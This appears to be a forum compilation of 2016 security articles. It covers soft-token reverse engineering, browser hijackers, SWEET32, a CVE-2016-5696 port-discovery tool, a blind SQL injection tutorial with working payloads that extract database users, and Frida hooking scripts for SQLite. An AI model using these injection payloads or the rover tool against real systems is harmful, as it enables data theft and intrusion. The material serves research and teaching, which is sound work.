Hacking Soft Tokens Advanced Reverse Engineering on Android Bernhard Mueller © 2016 Vantage Point Security Pte. Ltd. Table of Contents Introduction............................................................................................................................................................... 5 Mobile One-Time Password Token Overview.................................................................................................... 6 OATH TOTP..................................................................................................................................................................................6 Proprietary Algorithms...................................................................................................................................................................7 Provisioning......................................................................................................................................................................................7 Attacks...............................................................................................................................................................................................8 Retrieval from Memory..............................................................................................................................................................9 Code Lifting and Instrumentation ...........................................................................................................................................9 The Android Reverser’s Toolbox......................................................................................................................... 10 De-Compilers, Disassemblers and Debuggers.....................................................................................................................10 Tracing Java Code.....................................................................................................................................................................11 Tracing Native Code ................................................................................................................................................................15 Tracing System Calls.................................................................................................................................................................17 Classic Linux Rootkit Style......................................................................................................................................................19 Dynamic Analysis Frameworks..............................................................................................................................................19 Drawbacks Emulation-based Analysis ..................................................................................................................................21 Hacking Soft Tokens - Bernhard Mueller © 2016 Vantage Point Security Pte. 4 of 68 Runtime Instrumentation with Frida .....................................................................................................................................22 Building A Sandbox................................................................................................................................................ 23 Sandbox Overview....................................................................................................................................................................24 Customizing the Kernel...........................................................................................................................................................25 Customizing the RAMDisk.....................................................................................................................................................26 Booting the Environment .......................................................................................................................................................28 Customizing ART.....................................................................................................................................................................29 Hooking System Calls ..............................................................................................................................................................31 Automating System Call Hooking with Zork.......................................................................................................................35 Case Studies ............................................................................................................................................................. 36 RSA SecurID: ProGuard and a Proprietary Algorithm...........................................................................................................37 Analyzing ProGuard-processed Bytecode ............................................................................................................................37 Data Storage and Runtime Encryption .................................................................................................................................39 Tool Time: RSACloneId..........................................................................................................................................................41 Vendor Response......................................................................................................................................................................44 Summary.....................................................................................................................................................................................45 Vasco DIGIPASS: Advanced Anti-Tampering........................................................................................................................47 Initial Analysis ...........................................................................................................................................................................47 Root Detection and Integrity Checks....................................................................................................................................51 Native Debugging Defenses ...................................................................................................................................................54 JDWP Debugging Defenses....................................................................................................................................................56 Static-dynamic Analysis............................................................................................................................................................58 Attack Outline ...........................................................................................................................................................................59 Tool Time: VasClone....................................................................................................................................................................60 Vendor Comments........................................................................................................................................................................64 Summary.....................................................................................................................................................................................65 TL; DR...................................................................................................................................................................... 66 Attack Mitigation...........................................................................................................................................................................66 Software Protection Effectiveness..............................................................................................................................................66 REFERENCES....................................................................................................................................................... 67 Download: http://gsec.hitb.org/materials/sg2016/whitepapers/Hacking Soft Tokens - Bernhard Mueller.pdf

File-in-the-middle hijackers Posted August 23, 2016 by Pieter Arntz We are not sure if this is going to be a new trend among browser hijackers, but it seems more than a coincidence that we found two browser hijackers using a very similar approach to reach their goal of taking victims to the sites of their choice. Both are using one of their own files to act as a file-in-the-middle between the user and the browser. Let’s compare them. Dotdo Audio Dotdo is a strain of hijackers that we have discussed before for using different and more “out of bounds” methods to get the job done. I named this variant “audio” because it uses audio advertisements. But that is not our focus here. It’s the replacement of browser executables with their own that raised our interest. The installer renames the files firefox.exe and chrome.exe, if present, and adds a number to the filename. It then hides these renamed files and replaces them with its own files. The screenshot above shows you the hidden and renamed Chrome file, in the same folder as the replacement. I changed the settings for hidden files so that we can see them. In a similar screenshot below we can see that the same was done for Firefox. Note that all the changes are misdated, they were all made 8/10/2016. For the hijacker using the method of replacing files this has the advantage that they don’t have to follow the more common method of altering shortcuts. All the shortcuts the user has on his desktop, startmenu, taskbar, and anywhere else, can stay the same as the folder and filename they are pointing to are still valid and now under control of the hijacker. Then, when the false browser is started the hijacker will trigger the renamed chrome.exe and add some extra instructions. As a result the victim will be able to surf as he expected and probably ask himself where the audio advertisements are coming from. HPRewriter2 This one was named after the entry it makes in the list of installed Programs and Features. The browsers are hijacked to open with traffic-media[dot]co by altering the browser shortcuts for: Chrome Firefox Internet Explorer Opera Yandex The target of the shortcuts is altered to C:\Users\{username}\AppData\Roaming\HPRewriter2\RewRun3.exe {version number} as shown in the example below. Triggering Rewrun3.exe without a version number accomplishes nothing (it will not run), but with the version number forwarded by the shortcuts, Rewrun3 opens the targeted browser with the traffic-media[dot]co site or one of their redirects. Summary We discussed two hijackers from very different families and using different methods, but they also had a few things in common. They want the victims to hear/see their advertisements and they used a file-in-the-middle between the browser shortcuts and the actual browser in order to alter the browsers behavior to meet their goals. Additional information File properties: Dotdo hijack installer SHA1: 0d16eae1f5748410fa047daa533d0ebbd994ea1c Firefox.exe (fake) SHA1: 53a77f64595b1fb65a88247a324458f569e3d12a Chrome.exe (fake) SHA1: 501c9a6b224f58773b603675a71624d7e7353d1f HPRewriter2 installer SHA1: f96399f3b91218f30a9e58fce8009eaab5521398 Rewrun3.exe SHA1: 117db3909a2507e162a6361be1f4e5950f017e7d Removal guides: Dotdo Audio HPRewriter2 Protection and detection Because of the intrusive changes the Dotdo installer makes it was classified as a Trojan. The resulting changes to the system are detected and removed as PUP.Optional.DotDo and PUP.Optional.MultiPlug. Likewise some of the main files involved in the HPRewriter2 hijack are detected as Trojans. The resulting changes to the system are detected and removed as PUP.Optional.HPDefender. As a result of the Trojan detections Malwarebytes Anti-Malware Premium users are protected against these threats even if they don’t have the Non-Malware Protection enabled. Save yourself the hassle and get protected too. Pieter Arntz Sursa: https://blog.malwarebytes.com/cybercrime/2016/08/file-in-the-middle-hijackers/

SWEET32: Birthday attacks on 64-bit block ciphers in TLS and OpenVPN CVE-2016-2183, CVE-2016-6329 Cryptographic protocols like TLS, SSH, IPsec, and OpenVPN commonly use block cipher algorithms, such as AES, Triple-DES, and Blowfish, to encrypt data between clients and servers. To use such algorithms, the data is broken into fixed-length chunks, called blocks, and each block is encrypted separately according to a mode of operation. Older block ciphers, such as Triple-DES and Blowfish use a block size of 64 bits, whereas AES uses a block size of 128 bits. It is well-known in the cryptographic community that a short block size makes a block cipher vulnerable to birthday attacks, even if the are no cryptographic attacks against the block cipher itself. We observe that such attacks have now become practical for the common usage of 64-bit block ciphers in popular protocols like TLS and OpenVPN. Still, such ciphers are widely enabled on the Internet. Blowfish is currently the default cipher in OpenVPN, and Triple-DES is supported by nearly all HTTPS web servers, and currently used for roughly 1-2% of HTTPS connections between mainstream browsers and web servers. We show that a network attacker who can monitor a long-lived Triple-DES HTTPS connection between a web browser and a website can recover secure HTTP cookies by capturing around 785 GB of traffic. In our proof-of-concept demo, this attack currently takes less than two days, using malicious Javascript to generate traffic. Keeping a web connection alive for two days may not seem very practical, but it worked easily in the lab. In terms of computational complexity, this attack is comparable to the recent attacks on RC4. We also demonstrate a similar attack on VPNs that use 64-bit ciphers, such as OpenVPN, where long-lived Blowfish connections are the norm. Countermeasures are currently being implemented by browser vendors, OpenSSL, and the OpenVPN team, and we advise users to update to the latest available versions. Our results will appear in the following technical paper at ACM CCS 2016: On the Practical (In-)Security of 64-bit Block Ciphers — Collision Attacks on HTTP over TLS and OpenVPN Karthikeyan Bhargavan, Gaëtan Leurent Link: https://sweet32.info/

Da, o sa le pun patrate la loc, thanks. Unde au disparut? Daca a aparut imaginea default in loc de avatar, inteleg, nu am ce face, trebuie puse din nou.

Revenind, ce problema mai sunt legate de tema? Exista probleme de functionalitate?

rover Proof of Concept code for CVE-2016-5696 Rover is a small python program to discover abitrary client source ports as shown in CVE-2016-569. Once the source port is known, the 4 tuple of information needed to confirm that two host are communicating can be completed. When run, rover establishes a connection with the target server, syncs its internal clock to the server challenge ack time, then begins to search through the default ephemeral port range of most linux hosts (this can be changed if required). For more information, find the original paper here This has been tested to run on kali 1.0 against an Ubuntu 14.04 SSH server. It should work against others, however some modification to the code may/will be needed. Requirements are: Python2.7 Scapy 2.3.2 Usage is as follows: rover.py [-h] -c 192.168.1.1 -s 192.168.1.10 -p 22 [-v v, vv] CVE2016-5969 Demonstrator. optional arguments: -h, --help show this help message and exit -c 192.168.1.1 The target client IP. -s 192.168.1.10 The target server IP. -p 22 The target server port. -v v, vv The verbosity level Rover will complete in approx 1-2 minutes, depending on the quality of sync. Some important notes. Rover is bandwith dependant. It currently sends out 700 packets a second. If it fails to do so in the required time, the program will fail. I have included the line: os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP') because the kernel will reset a scapy connection by default. This must be in IPTABLES for the program to work. If you use vmware, keep in mind that workstation and player limit bandwith. This may cause issues. If so, use a physical host for the attack machine. Link: https://github.com/violentshell/rover

Exploiting blind SQL injections in ‘UPDATE’ and ‘INSERT’ statements without stacked queries by Sina Yazdanmehr Overview The SQL injection attack was introduced around 1998 for the first time. This high-level risk vulnerability can be found in any database oriented application, and is able to cause critical attacks by attackers, such as retrieving or storing arbitrary data in the database or, in some cases, even enabling remote code execution. It has some rewound types, like in-band, inferential and out-of-band SQL injection1, and each of these types has subcategories. The In-band (also known as Classic SQL injection) is the most common and the easiest for exploitation. In this type of SQL injection, the attacker is able to see the injected payload, or a database error message. The Union-based and Error-based SQL injection attacks are sub categories of this kind. The inferential (also known as Blind SQL injection) stands for another sort of this attack, when the attacker is unable to see the result of a payload or a database error message. In this case, the attacker must use conditional statements and extract data from the target database by deducing the result of injected condition. This sort has two subsets, Boolean-based and Time-based attacks. The last type is Out-of-band SQL injection, which is not very common. It depends on the target database features, such as making DNS or HTTP requests. By abusing those abilities, the attacker can extract data and send it back as part of an HTTP or DNS request to his server. This allows him to read the data that otherwise he cannot see since he is completely unable to see any results of his queries directly. Since inefficient user input validation causes this fault, it might happen in each type of database statements. However, the most common SQL statement in which this vulnerability usually happens is the ‘SELECT’ expression. Lots of ways for exploiting, as well as mitigating, this type can be found on the Internet for any kind of database, like MySQL, MSSQL, Oracle and even MS Access. Due to the variety of database types, WAFs and the fact that each programmer or developer team can have a new and innovative way for passing the user input to the database, as well as protecting against SQL injection, exploiting this flaw can be different in each case, based on the potential security systems, database type, and the vulnerable SQL statement. In this article, I am going to approach exploiting SQL injection flaws in ‘UPDATE’ and ‘INSERT’ expressions with a novel approach when you are unable to use stacked queries and when the result of executing the statements is practically invisible, making such attacks completely blind. Of course, this method might be useful to bypass security filtrations and WAFs in any sort of this vulnerability. Stacked queries limitation Each programming language has a DBMS connector in order to communicate with a specific database. According to the database type and the programming language, they have some limitations: one that can impact SQL injection attacks is stacked queries limitation. The term ‘Stacked Queries’ simply means when two or more queries are queued to be executed by a database one after another in the same session. The following MySQL queries demonstrate a simple stacked query: SELECT ID, name, lastname FROM users; UPDATE session SET lastseen = NOW(); (Code snippet 1) As can be seen, ‘SELECT’ and ‘UPDATE’ queries have been queued. The ‘SELECT’ statement will be executed first and after that, the database engine would interpret and execute the ‘UPDATE’ query. MySQL has more limitations in case of stacked queries. The table below is a brief comparison of these restrictions for MySQL, MSSQL and PostgreSQL with three different programming languages: (Table 1) In SQL injection attacks, stacked queries are typically used in order to update data in the database in case there is a SQL injection defect in a ‘SELECT’ statement. This is important since the ‘SELECT’ statement cannot have an ‘INSERT’ or ‘UPDATE’ statement as a sub-select query, so in this case it must be done through stacked SQL queries. On the other hand, if there is a SQL injection in ‘INSERT’ or ‘UPDATE’, an attacker would need to take advantage of stacked queries in order to fetch data.(Table 1) If the attacker finds an Injection vulnerability in an ‘INSERT’ or ‘UPDATE’ statement where the stack queries are unsupported (like PHP coupled with MySQL), he would need to find a manner to be able to fetch data from the target database. Two conditions have impact on this exploitation, these are: If the application throws the database’s error messages or not. If the result of a vulnerable statement is visible or not. If the application shows the error messages or the query’s result, the exploitation would be easier because some MySQL functions return the result of subqueries in their error messages, so by abusing those functions, the attacker can execute a subquery and see its result through error messages. Suppose the vulnerable expression is the following code: INSERT INTO user_agent values(NULL, ‘{$_SERVER[‘HTTP_USER_AGENT‘]}’); (Code snippet 2) If the vulnerable application shows database error messages, the attacker could use the ‘UpdateXML()’, ‘Extractvalue()’ or ‘Name_const()’ functions. For example, by using the ‘UpdateXML()’ function like below: INSERT INTO user_agent values(NULL, ‘1’ and updatexml(1, concat(0x7e, (user())), 0) and ‘1’); (Code snippet 3) Since the concat(0x7e, (user())) does not return a valid Xpath, the ‘UpdateXML()’ function will throw the following error message: #1105 – XPATH syntax error: ‘~root@localhost’ In further steps, he can simply substitute arbitrary queries with ‘User()’ function in this statement and extract other data from the target database. In addition to these functions, an attacker might abuse ‘BIGINT’ overflow defect in MySQL. The attacker would use a subquery like this: INSERT INTO user_agent values(NULL, ‘1’ and (select ~0+!(select*from(select user from mysql.user limit 1)x)) and ‘1’); (Code snippet 4) Then he will receive the following error message: #1690 – BIGINT UNSIGNED value is out of range in ‘(~(0) + (not((select ‘root‘ from dual))))’ (Code snippet 5) As can be seen, the database engine reveals the subquery’s result in the error message. These two exploitation solutions, as well as others, work when the vulnerable application throws the database error messages. They would not be useful in a case where the application has appropriate error handling. If the application has suitable error handling, the result of the query might be shown to the user, or maybe the user does not see any result of executed queries. In the remainder of my paper, I will focus on exploiting blind and result based SQL injection in the ‘INSERT’ and ‘UPDATE’ statements. Exploiting result based injections Since some databases, such as MySQL, do not join strings with plus sign ‘+’, it is impossible to join a subquery result in a vulnerable ‘UPDATE’ or ‘INSERT’ statement. Other payloads with ‘AND’ or ‘OR’ conditional expression (as shown in the previous part) can be coupled with time-based conditions so that an attacker will be able to deduce the result of the injected payload by measuring the response time. In this case, an attacker must first escape quotation mark to be able to inject arbitrary statements, after that he will need to join the injected query with previous and next strings in quotation marks. For instance, the vulnerable SQL statement that was mentioned earlier (Code snippet 2) could be exploited by injecting a malicious payload in user-agent HTTP header, and the attacker simply can escape quotation marks with injecting this mark before and after his payload. For joining these parts, the attacker can use a conditional expression as mentioned before, or take advantage of mathematical operators, but, for this purpose, he first needs to convert the result of the subquery to its integer equivalent. The best way to perform this would be to convert the target data to hexadecimal (base 16) first, and then taking the hex value to its decimal value (base 10), so that the attacker will have target data in decimal value. This approach is the best since all databases support these types and have casting and converting data types functions, thus the attacker could calculate the hex and decimal values of target data easily. Although this manner is the easiest way, databases are limited in data size and this can cause problems with storing long converted strings as integers. For instance, MySQL maximum BIGINT size is ‘18446744073709551615’, so due to the fact that the length of the target data is indeterminate for the attacker, he needs to chop the data by string functions such as ‘SUBSTRING()’. It is impossible to fetch a whole subquery result in one request because the database engine cannot store whole integer equivalent of result at the same time. The attacker might chop result of injected query and extract it part by part. For example, an attacker might use the following payload for the previous sample vulnerable code: 1′ * CONV(HEX(SUBSTRING((SELECT user FROM mysql.user LIMIT 1), 1, 8)), 16, 10) * ‘1 (Code snippet 6) The complete query which will be executed by database will be: INSERT INTO user_agent values(NULL, ‘1’ * CONV(HEX(SUBSTRING((SELECT user FROM mysql.user LIMIT 1), 1, 8)), 16, 10) * ‘1’); (Code snippet 7) Since the number 1 is ineffective in multiplication, the result of subquery (first database username) as numbers in base 10 will be stored instead of user-agent. The result of this payload is ‘1919905652’ that can be converted to the original result of doing this conversion vice versa. It must first be taken to base 16 and then converted to a string, it can easily be done by the following expression: SELECT unhex(conv(1919905652, 10, 16)); (Code snippet 8) And it equals to ‘root’. This manner can be extended to extract other data from a database by changing the subquery inside of ‘SUBSTRING()’ function. Exploiting blind injections In the last scenarios, the attacker was able to see the payload result, or the database error messages. However, it is possible to exploit this vulnerability when the application does not show anything about result or errors of a query. An attacker is able to overcome this issue by utilizing flow control statements coupled with delay functions in order to infer the validity of a conditional statement result and extract arbitrary data. Databases support various sorts of flow controls, one of them is ‘CASE … WHEN’, which is used for complex condition expressions. The value of the ‘CASE’ statement is compared with ‘WHEN’ statements and the body of first ‘WHEN’ expression is executed which matches with the value. Also, it accepts ‘ELSE’ expression that is executed when none of ‘WHEN’ statements match with the condition value. An attacker might use this statement with a delay function like ‘SLEEP()’ or ‘BENCHMARK()’ to extract data blindly. Basically, when the attacker uses flow control statements coupled with delay functions, he determines a condition for the database engine and makes it wait for a certain amount of time when the condition is valid. Otherwise, the database engine responds to the request without postponement. Therefore, the attacker can measure the response time for each request and infer the validity of the condition. The subsequent payload demonstrates how an attacker could exploit a blind injection: 1′ AND CASE (SUBSTRING(VERSION(), 1, 1)) WHEN 4 THEN SLEEP(10) ELSE NULL END AND ‘1 (Code snippet 9) And the final query that will be executed by the database engine will be: INSERT INTO user_agent values(NULL, ‘1’ AND CASE (SUBSTRING(VERSION(), 1, 1)) WHEN 4 THEN SLEEP(10) ELSE NULL END AND ‘1’); (Code snippet 10) This payload result depends on the ‘CASE’ statement validity. Since the attacker has integrated ‘SLEEP()’ function with ‘CASE’ statement, the server response will take more than 10 seconds in case the conditional statement is true, otherwise the attacker receives the response faster (instantaneously). If the server responds to this request in less than 10 seconds, the attacker deduces that this condition is false, so he may try another condition like the following expression: 1′ AND CASE (SUBSTRING(VERSION(), 1, 1)) WHEN 5 THEN SLEEP(10) ELSE NULL END AND ‘1 (Code snippet 11) In this payload, the attacker has substituted the number ‘5’ with the number ‘4’ in the ‘WHEN’ condition. It means the server will respond to this request after 10 seconds in case the target database version string starts with number ‘5’. The attacker may also try to extract some other information, such as the database username or current database name, in the first step to verify basic assumptions and make sure injected payloads are executed by the target database. After that, he could replace the ‘VERSION()’ function with more complex queries in order to extract arbitrary data from the database. Acknowledgments I sincerely thank Mr. Bojan Zdrnja whose expertise, experience, generous support and guidance made it possible for me to prepare this article. It is my pleasure to work with him. References: Acunetix, Types of SQL injection Damele, Advanced SQL injection to operating system full control Jayathissa, SQL Injection in Insert, Update and Delete Statements. Jayathissa, BIGINT Overflow Error Based SQL Injection. Advanced SQL injection to operating system full control https://www.blackhat.com/presentations/bh-europe-09/Guimaraes/Blackhat-europe-09-Damele-SQLInjection-slides.pdf SQL Injection in Insert, Update and Delete Statements https://www.exploit-db.com/docs/33253.pdf BIGINT Overflow Error Based SQL Injection https://www.exploit-db.com/docs/37733.pdf Time-Based Blind SQL Injection Attacks http://www.sqlinjection.net/time-based/ Stacked Queries http://www.sqlinjection.net/stacked-queries/ MySQL Flow Control Statements https://dev.mysql.com/doc/refman/5.7/en/flow-control-statements.html MySQL Integer Types http://dev.mysql.com/doc/refman/5.7/en/integer-types.html Types of SQL injection http://www.acunetix.com/websitesecurity/sql-injection2/ Author: Sina Yazdanmehr He is a penetration tester and information security consultant. His expertise is web and mobile applications security. He currently works for Infigo IS, and has worked for other security firms and CERT since 2009. Sursa: https://pentestmag.com/exploiting-blind-sql-injections-update-insert-statements-without-stacked-queries-sina-yazdanmehr/

Fun with Frida August 22, 2016 During a previous engagement Securus Global was asked to review a desktop application that used a local SQLite3 database to store a list of blacklisted URLs. As expected the database file was encrypted and not much that could be done with the database. If the consultant tried to open the database using any SQLite3 client an error message would pop up in our face. At Securus Global we have extensive experience with Frida, a framework that allows you to inject JavaScript to explore native apps on Windows, Mac, Linux, iOS and Android (more on Frida here http://frida.re). It is used heavily in our Mobile App Penetration Tests so the team decided to take a further look at the application and managed to trace the “requests” to libsqlite3.dylib. Keep in mind that the same approach will work for libsqlite3.so. Also note that this has not been tested in a Windows environment. Our goal at the time was to discover the SQL queries performed by the application and try to acquire some useful information, we started to look into two specific functions in libsqlite3.dylib: open – https://www.sqlite.org/c3ref/open.html prepare – https://www.sqlite.org/c3ref/prepare.html The open function is defined as: To know the database filename the consultant had to hook the function open and read the first argument from memory, args[0]. Thankfully, Frida provides an excellent wrapper to read from memory with Memory.readUtf8String. For more detailed information please refer to this link:http://www.frida.re/docs/javascript-api/#memory. Below is a sample code snippet to read the first argument from open’s function. Based on the sqlite3_open definition we know that the first argument is a pointer to filename, so if we read that argument we’ll figure out the database filename. #open.js 'use strict'; //libsqlite3.dylib var sqlite3_open = Module.findExportByName('libsqlite3.dylib ', 'sqlite3_open'); Interceptor.attach(sqlite3_open, { onEnter: function(args) { console.log('Database filename: ' + Memory.readUtf8String(args[0])); } }); The team found the file, but as mentioned before, unfortunately the file was encrypted. The team decided to change the approach and find the SQL statements before they were saved in the encrypted file. The prepare function is defined as: In order to not be “jailed” by the file encryption, we need to follow the same steps as previously applied in the open function, but now we have to read an argument in a different function, sqlite3_prepare_v2, and check above the sqlite3_prepare_v2 structure. Sample code to read the second argument from sqlite3_prepare_v2 function. #prepare.js 'use strict'; // libsqlite3.dylib var sqlite3_prepare_v2 = Module.findExportByName('libsqlite3.dylib', 'sqlite3_prepare_v2'); Interceptor.attach(sqlite3_prepare_v2, { onEnter: function(args) { console.log('SQL: ' + Memory.readUtf8String(args[1])); } }); Our Proof of Concept (PoC) is quite simple, basically we use the sample code provided in Frida’s documentation to inject one of our JavaScript files, open.js or prepare.js, into the application process. #poc.py import frida import sys import codecs def on_message(message, data): if message['type'] == 'send': print(message['payload']) elif message['type'] == 'error': print(message['stack']) pid = raw_input("app pid: ") try: session = frida.attach(int(pid))s print "[+] Process Attached" except Exception as e: print "Error => {0}".format(e) sys.exit(0) with codecs.open('./prepare.js', 'r', 'utf-8') as f: source = f.read() script = session.create_script(source) script.on('message', on_message) script.load() try: while True: pass except KeyboardInterrupt: session.detach() sys.exit(0) Screenshots Running our PoC to attach it to the application process and inject our JavaScript. The output is the SQL Statements. The same PoC code could be used against others applications that use a SQLite3 database, such as: Skype. As we have been using Frida for some time now we highly recommend it for doing mobile application tests. Along with our own scripts, highly dependent on the test, we recommend the following Frida extensions: Fridump – https://github.com/Nightbringer21/fridump Appmon – https://github.com/dpnishant/appmon/ CryptoShark – https://github.com/frida/cryptoshark How to prevent It The simplest approach to fix this is, instead of encrypt the database file the application should encrypt the information in memory before saving it to the database. References http://www.frida.re https://github.com/frida/frida-python https://www.sqlite.org/ This entry was posted in Penetration Testing on August 22, 2016 by securusblog. Sursa: https://www.securusglobal.com/community/2016/08/22/fun-with-frida/

netdata Aug 21st, 2016: Netdata got health monitoring - alarms May 16th, 2016 netdata v1.2.0 released! 30% faster! netdata registry, the first step towards scaling out performance monitoring! real-time Linux Containers monitoring! dozens of additional new features, optimizations, bug-fixes May 1st, 2016320.000+ views, 92.000+ visitors, 28.500+ downloads, 11.000+ github stars, 700+ forks, 1 month! And it still runs with 600+ git downloads... per day! Check what our users say about netdata. Real-time performance monitoring, done right! This is the default dashboard of netdata: real-time, per second updates, snappy refreshes! 300+ charts out of the box, 2000+ metrics monitored! zero configuration, zero maintenance, zero dependencies! Live demo: http://netdata.firehol.org Features netdata is a highly optimized Linux daemon providing real-time performance monitoring for Linux systems, Applications, SNMP devices, over the web! It tries to visualize the truth of now, in its greatest detail, so that you can get insights of what is happening now and what just happened, on your systems and applications. This is what you get: Stunning bootstrap dashboards, out of the box (themable: dark, light) Blazingly fast and super efficient, mostly written in C (for default installations, expect just 2% of a single core CPU usage and a few MB of RAM) Zero configuration - you just install it and it autodetects everything Zero dependencies, it is its own web server for its static web files and its web API Zero maintenance, you just run it, it does the rest Custom dashboards that can be built using simple HTML (no javascript necessary) Extensible, you can monitor anything you can get a metric for, using its Plugin API (anything can be a netdata plugin - from BASH to node.js, so you can easily monitor any application, any API) Embeddable, it can run anywhere a Linux kernel runs and its charts can be embedded on your web pages too Link: https://github.com/firehol/netdata